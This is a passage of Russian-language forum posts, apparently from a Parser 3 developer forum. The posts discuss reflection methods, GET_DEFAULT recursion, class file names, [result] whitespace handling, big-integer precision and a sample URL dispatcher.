\
Нет, это будет только хеш параметров, правильнее ^reflection:call-with-hash-params[] назвать, но имя некрасивое, надо бы получше подобрать."
"82200","^reflection:call[method;param1;param2;...]\
^reflection:apply[method;$.0[param1] $.1[param2]]"
"82201","[quote]из @GET_t[] не происходит обращения к @GET_DEFAULT[a].[/quote]\
\
Это не так, можно вызвать $t.t и убедиться в этом. А вот из GET_DEFAULT, который вызывается при обращении к $t.test, вложенного вызова GET_DEFAULT уже не будет. GET_DEFAULT не вызывается рекурсивно."
"82202","[code]\
  $f[$function]\
  ^f.call[param1;param2]\
  ^f.apply[$.0[param1] $.1[param2]]\
  $f.CLASS_NAME\
  $f.CLASS\
  $f.NAME\
\
@function[]\
  ...\
[/code]\
\
И останется буквально один шажок — придумать синтаксис для анонимных функций. :)"
"82203","[quote]GET_DEFAULT не вызывается рекурсивно.[/quote]\
\
А почему?\
Если будет зацикливание — можно выбрасывать исключение, как в аналогичных случаях при рекурсии.\
В остальном же, обращение к несуществующим полям из GET_DEFAULT вполне возможно, криминала в этом не вижу."
"82204","... что GET_DEFAULT должен точно знать какие поля есть, а каких нет. Откуда взяться рекурсивному вызову непонятно."
"82205","Если apply всем понятно что делает, то по мне так OK. Одно но: думаю передавать хеш параметров \"as-is\". То есть если @method[a;b] и вызов ^reflection:apply[method; $.b[b] $.c[c]], то внутри метода можно будет обратиться именно к $b и возможно даже $c (или можно ограничить, оставив только $b). Но не ^reflection:apply[method; $.1[b] ], как ты написал."
"82206","[quote]А почему?[/quote]\
\
Например чтобы такой код (пример условный) можно было писать:\
\
[quote]@GET_DEFAULT[a]\
^if(def $self.prefix_$a){\
   $result[$self.prefix_$a]\
}{\
   $result[^something[$a]]\
   $self.prefix_$a[$result]\
}\
[/quote]"
"82207","[quote]GET_DEFAULT должен точно знать какие поля есть, а каких нет.[/quote]\
\
Он не знает какие есть, он знает откуда брать несуществующие, за которыми к нему обратились.\
При этом никто ему самому звать несуществующие поля никто не запрещает.\
\
Он может выдавать значение по умолчанию для поля, которое впоследствии может быть декларировано явно.\
\
[quote]Откуда взяться рекурсивному вызову непонятно.[/quote]\
\
У меня сложный пример из «ORM».\
Есть класс, который хранит набор полей объекта ($self._data).\
Для доступа к связанным объектам в класс компилируются геттеры свойств.\
Имена свойств разных объектов этого класса могут конфликтовать, потому процессить @GET_свойство[] в лоб нельзя, нужно уникальное имя на уровне класса.\
Я компилирую набор свойств с уникальными именами (они доступны всем объектам класса), а на уровне объектов храню соответствие «свойство объекта — свойство класса».\
Очень похоже на костыль для @auto[filespec] объекта.\
\
Напрямую установить соответствие свойства объекта и свойства класса в виде ссылки или junction нельзя — будет либо выполнение, либо ouside of context.\
Потому я храню связи в хеше ($self._fields) и в GET_DEFAULT смотрю к чему идёт обращение — к данным объекта или к динамическим свойствам объекта.\
В итоге код получается примерно такой, как в моём первом сообщении:\
[code]@GET_DEFAULT[name]\
^if(^self._data.contains[$name]){\
# 	обращение к полю в _data\
	$result[$self._data.$name]\
}{\
# 	обращение динамическому свойству\
	$result[$self.[$self._fields.$name]]\
}[/code]\
\
И вот тут происходит рекурсивный вызов, который возвращает динамическое свойство, но код геттера этого свойства к полям объекта доступа уже не имеет."
"82208","... чтобы можно было взять *args и запихнуть их в вызов другой функции без лишних выкрутасов с хешем.\
\
Например:\
[code]\
@method[name;*args]\
  ^reflection:apply[$func;$args]\
\
@func[param1;param2;param3;*trap]\
  ...\
[/code]\
\
Или сохранить для последующего вызова:\
[code]\
$self.task[\
  $.method[$func1]\
  $.args[$.0[...] $.1[..] $.2[...]]\
]\
\
...\
\
@process[]\
  ^reflection:apply[$self.task.method;$self.task.args]\
\
@func1[param1;*args]\
  ...\
[/code]\
\
Чтобы не звать reflection:method, process и разделять хеш на параметры."
"82209","[quote]Он не знает какие есть, он знает откуда брать несуществующие, за которыми к нему обратились.\
При этом никто ему самому звать несуществующие поля никто не запрещает.[/quote]\
\
Вызов несуществующего == получить несуществующее из известного места. Вот и возьми оттуда. Иначе получается: дай поле, ну дай поле, ну может все-таки дашь поле. :)"
"82210","[code]^reflection:apply[method;$.a[a] $.b[b] $.c[c]]\
\
@method[one;two;*args]\
one: $one, two: $two, args.0: $args.0\
[/code]\
->\
one: a, two: b, args.0: c"
"82211","[quote]Вызов несуществующего == получить несуществующее из известного места. Вот и возьми оттуда. Иначе получается: дай поле, ну дай поле, ну может все-таки дашь поле[/quote]\
\
Вот мой пример выше.\
Там получается: дай поле оттуда, а теперь поле отсюда.\
Оба места известны и логика выбора разберётся откуда брать.\
\
А второй раз к ней уже и не обращаются."
"82213","[code]Например чтобы такой код (пример условный) можно было писать[/code]\
\
Такой код можно писать и при рекурсивных вызовах, если программист позаботится о том, чтобы ничего не вернуть на второй вызов.\
\
А вот сделать рекурсию без рекурсии не получится никак."
"82214","Построение логики вокруг хитрого микса методов класса и методов объекта один из таких способов. Твоя нога — твой выбор. Зачем это поддерживать на уровне языка мне лично непонятно. :)"
"82215","Я бы с удовольствием сделал иначе, имейся возможность генерировать методы объектов.\
Но сейчас иных вариантов не вижу."
"82216","Суть в том, что в GET_DEFAULT может понадобиться узнать, определено ли поле или нет. Или так, или какая-нибудь ужасная неэффективность типа $h[$self] ^if(def $h.field)."
"82217","В Питоне и Руби класс — это полноценный объект. ОРМ на них часто делают так: объект класса отвечает за хранение метаинформации и data access layer (DAL), а экземпляр класса содержит сами данные. Методы экземпляра ссылаются на методы класса для манипулирования базой.\
\
У нас класс попроще и на полноценный объект не тянет. Поэтому нам нужна композиция из двух объектов: один хранит данные, а второй отвечает за метаинформацию и доступ к базе. Второй включаем в первый и делаем линки между методами. Возни чуть больше, но результат тот же.\
\
p.s. Мне идея полноценного орма очень не нравится концептуально, поэтому в PFе ормом называется DAL. :)"
"82218","У меня так и сделано.\
Объект в случае необходимости обращаться в БД будет звать посредника.\
\
Но.\
Посреднику он передаёт модифицированный запрос.\
Модифицируется он, понятно, для объекта, а методы живут на уровне класса.\
\
Линки к методам посредника — генерируются process'ом.\
\
По-хорошему, объект каждого типа должен быть объектом своего класса.\
Но это не всегда возможно: поскольку большинство объектов очень похожи и имеют один интерфейс — они все объекты одного класса."
"82219","откуда вылезет несовместимость? Кто то тримает с умыслом оставить по краям A0? Мне кажется что то что в нынешнем своём поведении trim не отрезает неразрывный пробел это скорее незаметный такой баг. Насчет производительности не знаю, действительно серьезно сказаться?"
"82220","[quote]Ну, CLASS_NAME тоже вполне может использоваться.\
Мне кажется FILE_NAME не сильно хуже в плане конфликтов.[/quote]\
\
Оба хороши. :) Частично поэтому Миша переделал реализацию обращения к $o.CLASS_NAME, теперь это обрабатывается на этапе компиляции и например такой код в 3.4.4 ведет себя иначе:\
\
[code]$v[CLASS_NAME] $o.$v[/code]\
\
Можно конечно и FILE_NAME в этот список добавить, но изменений будет заметно больше...\
\
Итого осталось четко определиться, что выдавать в случае системных классов и классов, созданных через process."
"82221","[quote]Итого осталось четко определиться, что выдавать в случае системных классов и классов, созданных через process.[/quote]\
\
Считаю так:\
— системные — native,\
— process — void,\
— partial — путь к последнему загруженному файлу класса."
"82222","Вот уже десять лет как есть полезная, но странная штука — локальный result.\
Все эти годы лично я, натыкаясь на прекрасную возможность использования этой штуки для генерации вывода без пробельных символов, раз за разом наступал на грабли с непробельными символами.\
Требование к исключению которых, на мой взгляд, ломает всю логику этой удобной возможности.\
\
Зачем именно так — неведомо, и из нескольких [url=http://www.parser.ru/forum/?id=47874]пояснений PAFа[/url] яснее не становится.\
Хотя когда-то сам находил [url=http://www.parser.ru/forum/?id=66391]taint-объяснения[/url].\
\
Хочу собрать строку из кусочков, будь то SQL-запрос или URL.\
Хочу использовать удобное форматирование и комментарии.\
\
[code]@print[a;b;c][result]\
^if(…){/$a}\
/\
^if(…){\
	$b/\
}{\
	/$b\
}\
^if(…){:$c}\
[/code]\
\
И получить на выходе монолитную строку без пробельных символов.\
Да ещё и не писать $result[] вокруг результата, что тоже удобно.\
\
Но нет, BAD_NONWHITESPACE_CHARACTER_IN_EXPLICIT_RESULT_MODE и начинаются костыли, после которых уже и не рад, что решил использовать [result].\
[code]@print[a;b;c][result]\
$slash[/]\
$colon[:]\
\
^if(…){${slash}$a}\
$slash\
^if(…){\
	${b}$slash\
}{\
	${slash}$b\
}\
^if(…){${colon}$c}\
[/code]\
\
Либо\
[code]@print[a;b;c]\
$result[\
	^if(…){/$a}\
	/\
	^if(…){\
		$b/\
	}{\
		/$b\
	}\
	^if(…){:$c}\
]\
$result[^result.match[\\s+;g;]]\
[/code]\
и тогда вообще неясно, зачем [result] нужен.\
\
Зачем оно работает вот так?\
Почему нельзя в [result]-режиме просто выкидывать пробельные символы и разрешить писать всё, что хочется?\
«Жизнь — боль»?"
"82223","В поле с именем лучше всего положить что-то, что потом напрямую можно будет использовать в ^use. Если в поле пустая строка, то подключить этот класс явно нельзя.\
\
Системные — пустая строка.\
process — пустая строка или то, что нам указали в $.file.\
partial — первый обработанный файл. Предполагаем, что именно в первом импорте присутствует конструктор, т.е. именно его надо подключать, чтобы создать объект. Если начальный partial пришел через процесс, то по схеме процесса."
"82224","мнения по partial уже разделились, а обсуждающих пока только двое :)"
"82225","Может я что-то неправильно понял, но если исходить из первоначальной задачи, то в случае partial в FILE_NAME должен быть файл где описан заданный метод, а не первый и не последний (в общем случае)."
"82226","А они все в этом треде. Так что обсуждение абсолютно релевантное. :)"
"82227","[quote]в случае partial в FILE_NAME должен быть файл где описан заданный метод, а не первый и не последний[/quote]\
\
А метод может быть перекрыт, и присутствовать в любом, хоть в каждом, из partial-файлов."
"82228","Ну да, и у каждого из этих методов будет свой FILE_NAME, исходя из первоначальной [url=\"http://www.parser.ru/forum/?id=71053\"]задачи[/url]"
"82229","Но не хеш имён файлов же возвращать.\
Потому и выбираем, что знать в виде строки."
"82230","Хорошо бы понять сценарии использования поля с именем файла с классом. Я партиалы не использую, поэтому вижу пока такие сценарии:\
— Поиск файлов, расположенных рядом с файлом с классом. Как правило это всякие внешние скрипты на шеле.\
— Сохранить путь и имя класса в некотором «внешнем хранилище», чтобы потом воссоздать по ним объект. Для этого не хватает имени конструктора, но это не так критично, как имя файла.\
— Отладочные методы.\
\
У меня на практике возникала только первая задача. В каких ситуациях это нужно вам?\
\
Изначальный сценарий — поиск имени файла в котором определен класс в котором определен метод — мне кажется очень странным. :)"
"82231","[quote]если исходить из первоначальной задачи, то в случае partial в FILE_NAME должен быть файл где описан заданный метод[/quote]\
\
Задача про файл где определен класс, а не метод. Имя файла, где определен метод, уже сейчас доступно - ^reflection:method_info[имя класса;имя метода]."
"82232","[quote]— Сохранить путь и имя класса в некотором «внешнем хранилище», чтобы потом воссоздать по ним объект. Для этого не хватает имени конструктора, но это не так критично, как имя файла.[/quote]\
\
Как ты знаешь, у меня эта задача.\
\
Конструктор может быть произвольным, или их может быть несколько для разных случаев.\
\
Возможен и случай, когда резные конструкторы будут находиться в разных partial-файлах.\
\
Но для воссоздания объекта из сохранённой «ссылки» сейчас не хватает именно имени файла.\
\
Совсем универсально для partial было бы получать список всех файлов класса, загруженных на текущий момент.\
Но это будет список, против строки во всех остальных случаях, что не красиво."
"82233","По мне так это достаточно мутная фича, сделанная скорее для ускорения работы. Во времена до 3.4.0 весь оформительский whitespace был куда более накладен и это вероятно было достаточно дешевое решение с точки зрения реализации. Не пользуюсь, поскольку на мой взгляд это неочевидно работает.\
\
[code]^if(1){\
  здесь whitespace удаляем\
}\
^if(1)[\
  а здесь нет\
]\
[/code]\
\
На вид требуемое сделать просто, но еще [result] иногда использовался как способ выявления ошибок в коде (например забытый $ или ^ перед именем переменной). Такая возможность понятно исчезнет."
"82234","[quote]На вид требуемое сделать просто, но еще [result] иногда использовался как способ выявления ошибок в коде (например забытый $ или ^ перед именем переменной). Такая возможность понятно исчезнет.[/quote]\
\
Хм, не слышал, чтобы [result] использовали для такой отладки.\
\
Конечно, без явной ошибки подобная отладка усложнится, но, как мне кажется, подобные ошибки должны вылезти и без [result]."
"82235","Добавил в todo.\
\
Note: мне не очень нравится, как сейчас сделан _default, поскольку он сработает даже если такой ключ придет в пользовательских данных. По-хорошему его надо переделать на compile-time проверку (тут есть идеи). Впрочем, вроде как и для этого метода то решение подойдет."
"82236","[quote]Понять, что передан junction-code теперь можно по ^reflection:is[…;code]\
[/quote]\
\
Возможно огорчу, но ($a) - это тоже код.\
\
[quote]а как узнать контекст?[/quote]\
\
Не очень понял, о чем идет речь. Идет сортировка по строке или числу внутри ^hash.sort[] определяется по типу результата (строка или не строка). Можно попробовать что-нибудь такое, но это только для демонстрации возможности, не для реального использования.\
\
[code]^self.data.sort[k;v]{\
	$caller.$key[$k]\
	$caller.$value[$v]\
	^if($sort is \"double\"){^dwrap::create[$sort]}{$sort}\
}[$order]\
\
@CLASS\
dwrap\
\
@create[d]\
$self.d($d)\
\
@GET[]\
$result[$d]\
[/code]"
"82238","[quote]Возможно огорчу, но ($a) - это тоже код.[/quote]\
\
Я, собственно, о том же.\
\
[quote]Не очень понял, о чем идет речь. Идет сортировка по строке или числу внутри ^hash.sort[] определяется по типу результата (строка или не строка).[/quote]\
Непосредственно внутри метода такую оценку можно делать, всё равно код выполнять.\
А посредник контекст правильно передать не может.\
\
Уже приведённый мною пример:\
[code]@sort[key;value;sort;order]\
^switch[…]{\
	^case[…]{\
		^self.data.sort[k;v](\
			$caller.$key[$k]\
			$caller.$value[$v]\
\
			$sort\
		)[$order]\
	}\
	^case[…]{\
		^self.data.sort[k;v]{\
			$caller.$key[$k]\
			$caller.$value[$v]\
\
			$sort\
		}[$order]\
	}\
}[/code]\
\
Как мне внутри метода, [b]не выполняя junction-code[/b], понять позвали мой метод так:\
[code]^h.sort(…)[/code]\
или так:\
[code]^h.sort{…}[/code]?\
\
Зная это, я могу соответствующим образом вызвать hash.sort.\
\
Сейчас в таких случаях два варианта:\
1. дополнительный параметр «тип сортировки», что костыль;\
2. предварительное выполнение кода сортировки и проверка типа результата, что даёт лишнее выполнение кода сортировки.\
\
Второй вариант допустим, конечно, одно лишнее выполнение кода, но всё же лишнее."
"82239","Он есть и это прекрасно.\
\
Однако, контекст неполноценен.\
В качестве него можно передать скажем хеш, но нельзя метод.\
\
В результате, невозможно сделать, например, такое:\
[code]@is[varname;type]\
$result(^reflection:is[$varname;$type])[/code]\
\
Ясно, что контекст был введён впоследствии того, что передаётся имя объекта, а не ссылка или сам объект.\
Но ведь даже в случае junction при передаче не будет проблем с выполнением.\
\
Действительно ли нельзя быть более лаконичным и логичным и передавать объект, вместо имени и контекста:\
[code]$obj[…]\
^reflection:is[$obj;…]\
\
$hash[$.code{…}]\
^reflection:is[$h.code;…]\
[/code]\
?"
"82240","А ничего не сломается. Здесь нет проблем с обратной совместимостью. Просто где раньше было исключение - оно исчезнет."
"82241","[quote]Как мне внутри метода, не выполняя junction-code, понять позвали мой метод так: \
^h.sort(…)\
или так:\
^h.sort{…}[/quote]\
\
Никак, это отличается на этапе компиляции с точки зрения синтаксиса, а в процессе выполнения это практически одно и то же. Как я уже написал, даже методы парсера этого не понимают, и их можно \"обмануть\" указанным способом."
"82242","Мы вроде тогда и обсудили этот момент достаточно поднобно. Код нельзя передать, поскольку он выполняется в момент обращения к нему. Если $c{code}, то если в программе написать $c - это уже по сути не код, а всегда результат его выполнения."
"82244","[quote]Код нельзя передать, поскольку он выполняется в момент обращения к нему.[/quote]\
\
А так:\
[code]$h[$.code{^throw[debug]}]\
\
^reflection:is{$h}[$type]\
\
^reflection:is{$h.code}[$type]\
[/code]\
?"
"82245","Продолжая славную традицию «ни дня без сообщения на форум», предлагаю рассмотреть доработку метода hash.\
\
Сейчас есть возможность генерировать динамический ключ:\
[code]^table.hash{…}[столбец значений]\
^table.hash(…)[столбец значений][/code]\
При этом, значения всегда берутся из столбца или из таблицы значений.\
\
Предлагаю дать возможность генерировать значение:\
[code]^table.hash{…;…}\
^table.hash(…){…}\
^table.hash{…}(…)[/code]\
\
Это позволит сократить код преобразований таблицы к хешу — отказаться от своих операторов или дополнительных преобразований.\
\
[code]$table[^table::create{id	url	fname	sname\
1	/jj/	John	Johnson\
2	/pp/	Peter	Peterson}]\
$hash[^table.hash{^math:md5[$table.id $table.url];$table.fname $table.sname}]\
->\
$.c7887c1916674b8e785f879a25425857[John Johnson]\
$.115327ed39eded74c2a2f354914592f0[Peter Peterson][/code]"
"82247","[quote]^reflection:is{$h.code}[$type]\
[/quote]\
\
А что меняется? Чтобы было понятнее: ^reflection:is{===$h.code===}[$type]\
Тут все равно написано $h.code, код будет выполнен в момент обращения. Лишние {} просто откладывают момент обращения к нему от момента передачи параметра до момента обращения к параметру внутри метода.\
\
\
[quote]^reflection:is{$h}[$type][/quote]\
\
Этого я не понял. Хеш можно и в [] скобках передать, ничего не изменится."
"82248","[quote]^reflection:is{$h.code}[$type]\
А что меняется? Чтобы было понятнее: ^reflection:is{===$h.code===}[$type]\
Тут все равно написано $h.code, код будет выполнен в момент обращения. Лишние {} просто откладывают момент обращения к нему от момента передачи параметра до момента обращения к параметру внутри метода.[/quote]\
\
Мне неясно почему, зная имя переменной и контекст, можно обратиться к ней не вызвав выполнения, а имя ссылку на переменную или её саму — нельзя.\
\
[quote]^reflection:is{$h}[$type]\
Этого я не понял. Хеш можно и в [] скобках передать, ничего не изменится.[/quote]\
\
Я к тому, что можно передавать всё в фигурных скобках и до reflection:is код, оказавшись в переменной, не выполнится при передаче."
"82249","[quote]Мне неясно почему, зная имя переменной и контекст, можно обратиться к ней не вызвав выполнения, а имя ссылку на переменную или её саму — нельзя.[/quote]\
\
Надеюсь в последний раз: в случае кода конструкция $h.code не сама переменная, а результат выполнения содержащегося в ней кода.\
\
[quote]можно обратиться к ней не вызвав выполнения[/quote]\
\
Из кода на парсере - нельзя. Внутри самого парсера, из C++ кода - можно."
"82250","[quote]в случае кода конструкция $h.code не сама переменная, а результат выполнения содержащегося в ней кода.\
\
Из кода на парсере - нельзя. Внутри самого парсера, из C++ кода - можно.[/quote]\
\
Вот тут у меня и диссонанс.\
\
Пока код проходит {} или () — это присвоение.\
Если он в таком виде попадёт в is — ^reflection:is{$code}, то C++-код ([b]не парсерный[/b]) тоже не сможет обратиться к junction, не вызвав выполнения?"
"82251","...что если написать ^reflection:is{$code}, то в метод is всегда прийдет код, потому что ты это явно указал скобками."
"82252","[quote]Пока код проходит {} или () — это присвоение.[/quote]\
\
Нет, {$code} - это не присвоение. Это другой код, в процессе своего выполнения выполняющий первый. Я там выше не случайно написал {===$code===}, чтобы это было нагляднее."
"82253","Добрый день.\
Есть различные данные, состоящие только из цифр, но при этом выходящие за рамки int, например, 12345678987654321.\
Если записать в числовую переменную, то при выводе получаем 1.23456789876543e+016\
\
Поле с подобными данными в базе должно быть Primary key или просто индексируемым (в связанных таблицах).\
\
Вопросы:\
1. В каком виде лучше хранить подобные данные в базе, чтобы парсер мог с ними нормально работать (чтение/запись): bigint(...) или varchar(...)?\
2. Исходя из вашего опыта, запрос по проиндексированным текстовым полям или числовым будет быстрее?\
3. Что будет меньше занимать места в базе: большое число или текст из стольки же символов?"
"82254","Похоже, да.\
Придёт код, выполнение которого даст хеш."
"82255","[quote]Пока код проходит {} или () — это присвоение.\
Нет, {$code} - это не присвоение.[/quote]\
\
Я запутался.\
[url=http://www.parser.ru/forum/?id=81817][quote]При присвоении код присваивается, а не выполняется.[/quote][/url]\
\
[quote]Это другой код, в процессе своего выполнения выполняющий первый. Я там выше не случайно написал {===$code===}, чтобы это было нагляднее.[/quote]\
\
Я запутался 2.\
\
[code]@main[]\
$h[$.code{^throw[debug]}]\
^t{==$h.code==}\
\
@t[j]\
^t2{$j}\
\
@t2[j]\
Don't touch evil junction.[/code]\
\
Я примерно так и представляю себе картину:\
[code]@main[]\
$h[$.code{^throw[debug]}]\
^t{$h.code}[code]\
\
@t[j;type]\
$result(^reflection:is{$j}[$type])\
\
@reflection:is[obj;type]\
# тут волшебный C++-код, который может узнать тип $obj не вызвав выполнения[/code]\
\
Если оно до волшебного кода не дойдёт в первозданном виде или если код не волшебный — тогда увы."
"82256","[quote]1. В каком виде лучше хранить подобные данные в базе, чтобы парсер мог с ними нормально работать (чтение/запись): bigint(...) или varchar(...)?[/quote]\
\
В виде числа.\
Что никак не влияет на то, в каком виде с ним работать из Парсера.\
\
[quote]2. Исходя из вашего опыта, запрос по проиндексированным текстовым полям или числовым будет быстрее?[/quote]\
\
Числовой индекс будет компактнее.\
Скорость поиска вряд ли будет отличаться принципиально.\
\
[quote]3. Что будет меньше занимать места в базе: большое число или текст из стольки же символов?[/quote]\
\
Число."
"82257","Т.е. вызов ^reflection:is{$j} в товем примере — это на самом деле ^reflection:is{{{==$h.code{...}==}}} и все эти скобочки выполнятся при передаче методу. Т.е. максимум, что может узнать reflection:is про свой параметр, что его передали как код. Но, про то, что в этом коде где-то в глубине есть еще какой-то код уже не получится."
"82258","Да, теперь понятно, что при каждой передаче оно оборачивается в новый код.\
Печально."
"82259","Косяки больших чисел:\
1. При вставке парсером значения в базу MySQL в поле Bigint(20) unsigned вместо 12345678987654321 получаем 12345678987654300.\
2. Методы класса int использовать нельзя, т.к. число больше верхней границы int, а double допускает дробную часть.\
3. При выводе числа на экран надо либо выбирать его из базы в виде строки, либо как-то форматировать, чтобы выводилось число, а не 1.23456789876543e+016"
"82260","А в базе храните bigint. Если нужна валидация при передаче в урлах, то используйте регулярные выражения."
"82261","Хранить в БД как число, работать в Парсере как со строкой.\
\
Математики не будет, увы.\
Но её тоже может делать БД — некрасиво, но работает."
"82262","Только в double. При выводе надо будет форматировать в целое число."
"82263","[quote]При выводе надо будет форматировать в целое число.[/quote]\
\
На этом этапе оно и обрежется."
"82265","[code]$d(12345678987654323)\
^d.format[%20.0f][/code]"
"82266","Получаем 12345678987654322, а не 12345678987654323."
"82267","Считайте базой. Может Моко скажет что-то полезное по этому поводу. ;)"
"82268","Берем данные из базы в виде строки, сравниваем в парсере в виде строк, записываем в базу тоже строки, а формат проверяем регулярками?"
"82269","Там влезают 19 цифр до +-9.223.372.036.854.775.807."
"82271","Не осилил, как мне поможет эта информация.)"
"82272","Если взять 64-битную версию парсера, то диапазон будет больше."
"82273","Если собрать parser последней версии (3.4.3) х64 под нужную OS, то:\
1. Это решит проблемы с использованием методов int для больших чисел?\
2. При выводе на экран все равно число будет выводиться через e+?"
"82274","[quote]Я запутался.[/quote]\
\
Похоже уже и без меня все прояснилось. :)\
\
Просто конструкция $obj1[$obj2], если $obj2 объект - именно присвоение. В результате и $obj1, и $obj2 узазывают на один объект.\
\
А $c1{$c2} - не присвоение в том смысле, что в $c1 оказывается другой код, который в процессе своей работы конечно вызовет $c2, но это другой экземпляр кода и он и не знает, что у него внутри $c2."
"82276","Нет, в C int в 32-х и 64-х битных системах одинаковый (4 байта). Длина указателя отличается."
"82278","Особого смысла нет, у нас почти везде double, а не int."
"82279","bigint встречается в жизни достаточно часто. И вместо where id = ^form:id.int(-1) приходится писать where id = ^if(^form:id.match[^^\\d+^$][n]){\"$form:id\"}{-1}. \
\
Вычисления с 64-битным тоже интом бывают нужны, например если мы decimal имитируем. Если у нас почти везде double, то длинный инт ароде нигде помешать или увеличить расход памяти не должен."
"82280","Да, прояснилось.\
Код есть код.\
\
Поскольку нет специальных методов передачи и обращений к нему без выполнения, то всегда происходит сначала выполнение, потом обращение к результату."
"82281","Нельзя ли разрешить делать такое:\
\
[code]$h[^hash::create[]]\
\
$h.($h + 1)[…][/code]\
?\
\
Вместо:\
[code]$h.[^eval($h + 1)][…][/code]\
\
Часто нужно для последовательного заполнения хеша."
"82283","Я выгоды кроме десериализации из JSON и не придумываю.\
\
Хеш, после того, как научился сохранять порядок, стал крайне универсальной штукой."
"82284","но в принципе обработку круглых скобок при обращении к ключам сделать наверное проще. набросал код, вроде даже работает. будет время -- погоняю тесты."
"82285","[quote]а задолбало при json-сериализации/десериализации ручками ^Array::create[] писать[/quote]\
\
Так это ж свой класс.\
Ему же можно задать методы сериализации!\
\
[quote]набросал код, вроде даже работает. будет время -- погоняю тесты.[/quote]\
\
Спасибо.\
Ждём новостей."
"82286","Ошибка под Win.\
Parser 3.4.4 RC.\
\
[code]@main[]\
$t[^test::create[]]\
$t.type\
\
@f[a]\
$result[^if(def $a){$a}]\
\
\
@CLASS\
test\
\
@create[]\
\
@GET_type[]\
$result[^f[$self.type]]\
[/code]\
\
Понятно, что зацикливание.\
Если в геттере не звать оператор — получим нормальное исключение про endless recursion."
"82287","Под Unix есть исключение про \"endless recursion\", вероятно под Windows в этом случае стека почему-то не хватает. В 3.4.3 так же. Добавил в to-do, чтобы не забылось."
"82288","На сайте http://www.regextester.com/ создал вот это регулярное выражение:\
[code]$param[$request:uri]\
$fURI[^param.match[^(?:/(.+?))?(?:/(.+?))?(?:/(.+?))?(?:/(.+?))?(?:/(.+?))?(?:\\?(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:&(.+?))?(?:#(.+?))?$][g]]\
$fURI.1[/code]\
Оно может разбирать до 5 уровней вложенности, плюс дополнительные 10 get-запросов и ссылку вида #some, например:\
/my/people/know/about/hood?police=suck&cocks=and&homies=give&fuck=and&shit=on&the=wall&garlem=shake&google=hoougle&yandex=huyandex&bmw=is#pussy\
При этом вложенность и параметры могут быть не все, т.е. /my/people/know и все, будет работать, подумал Я.\
\
Пытался протестить и парсер пишет ошибку:\
syntax error, unexpected EON [parser.compile] [uri=/, method=GET, cl=0]\
\
Как правильно реализовать такое выражение?"
"82290","Для простого случая, с которого вам стоит начать, совершенно не нужно делать подобный разбор.\
Его в таком виде вообще не нужно делать.\
\
Ваша задача по адресу найти метод-обработчик.\
\
[quote]Оно может разбирать до 5 уровней вложенности, плюс дополнительные 10 get-запросов и ссылку вида #some, например:\
/my/people/know/about/hood?police=suck&cocks=and&homies=give&fuck=and&shit=on&the=wall&garlem=shake&google=hoougle&yandex=huyandex&bmw=is#pussy\
При этом вложенность и параметры могут быть не все, т.е. /my/people/know и все, будет работать, подумал Я.[/quote]\
\
Вам нужно разрезать $request:uri по слэшам.\
Это даст таблицу путей.\
\
GET-параметры разберёт декодирует, и перекодирует в случае необходимости, класс $form, делать этого вручную не нужно.\
Абсолютно бессмысленно пытаться получить указатель фрагмента (#…) — он не отправляется на сервер при запросах и серверным скриптам бесполезен.\
\
Разбор чего-либо регулярными выражениями потребуется в случае если необходимо привести фрагмент адреса к набору параметров:\
/news/2015-05-10/\
->\
slug news\
year 2015\
month 05\
day 10\
И потребуется если возникнет необходимость обратной маршрутизации — генерации URL по известной маске и имеющимся данным."
"82291","В предыдущих постах Я как раз публиковал код, в котором разбивал $request:uri по слэшам.\
[code]@path[params]\
# В .htaccess у меня /one/foo/bar разбивается на $form:url, $form:uri и $form:pid\
$url[$params.url]\
$uri[$params.uri]\
$pid[$params.pid]\
$req[$params.request]\
$slash[^req.split[/;lh]]\
$query[^req.split[?;lh]][/code]\
\
Потом находил соответствия полученным значениям в БД, если они были, передавал эти параметры обработчику, который выдавал содержимое.\
\
Я просто не знаю что мне делать.\
\
Вы пишите одно, Я пытаюсь повторить текст в код, начинаю с регулярных выражений, Вы пишите что так сложно не нужно, а Я с учетом расширения это делаю.\
\
Сейчас пытаюсь сделать хеш из полученных данных, где названия переменных будут полученными данными, а их значения будут вычисляться другим методом, в котором хочу делать сверку с БД, и ставить true/false"
"82292","[quote]В предыдущих постах Я как раз публиковал код, в котором разбивал $request:uri по слэшам.[/quote]\
\
И спрашивали почему ваш громоздкий код не работает так, как вы ожидаете.\
\
[quote]Потом находил соответствия полученным значениям в БД, если они были, передавал эти параметры обработчику, который выдавал содержимое.[/quote]\
\
Вам посоветовали так не делать и предложили более универсальную схему, примеры которой есть как в известных фреймворках, так и на Парсере — в pf.\
\
[quote]Я пытаюсь повторить текст в код, начинаю с регулярных выражений, Вы пишите что так сложно не нужно, а Я с учетом расширения это делаю.[/quote]\
\
Вы разбираете не то, что нужно.\
\
\
Пример на коленке, дающий понимание процесса.\
Не комментирую.\
\
[code]@main[]\
^dispatch[$form:url]\
\
\
@dispatch[URL][locals]\
$dispatchers[^table::create{handler	trap}]\
$form[^hash::create[$form:fields]]\
^form.delete[url]\
\
$URL[^URL.trim[both;/]]\
$URLs[^URL.split[/]]\
\
^URLs.menu{\
	$handler[^if(def $handler){$handler}^_upperFirstLetter[$URLs.piece]]\
	$_URL[^if(def $_URL){$_URL/}$URLs.piece]\
\
	^dispatchers.append{on$handler	^URL.mid(^_URL.length[] + 1)}\
}\
\
^dispatchers.sort(^dispatchers.line[])[desc]\
\
$dispatched(false)\
^dispatchers.menu{\
	$handler[$[$dispatchers.handler]]\
\
	^if($handler is junction){\
		^handler[\
			$.trap[$dispatchers.trap]\
			$.slug[^dispatchers.trap.left(^dispatchers.trap.pos[/])]\
			$.form[$form]\
		]\
\
		$dispatched(true)\
\
		^break[]\
	}\
}\
\
^if(!$dispatched){\
	^onNotFound[\
		$.trap[$URL]\
		$.slug[^URL.left(^URL.pos[/])]\
		$.form[$form]\
	]\
}\
\
\
@_upperFirstLetter[string][locals]\
$result[^string.match[(.)(.+);]{^match.1.upper[]^match.2.lower[]}]\
\
\
@onNews[params]\
onNews\
^json:string[$params]\
\
\
@onNewsBest[params]\
onNewsBest\
^json:string[$params]\
\
\
@onNewsBest2015[params]\
onNewsBest2015\
^json:string[$params]\
\
\
@onNotFound[params]\
onNotFound\
^json:string[$params][/code]"
"82293","[code]$param[$request:uri]\
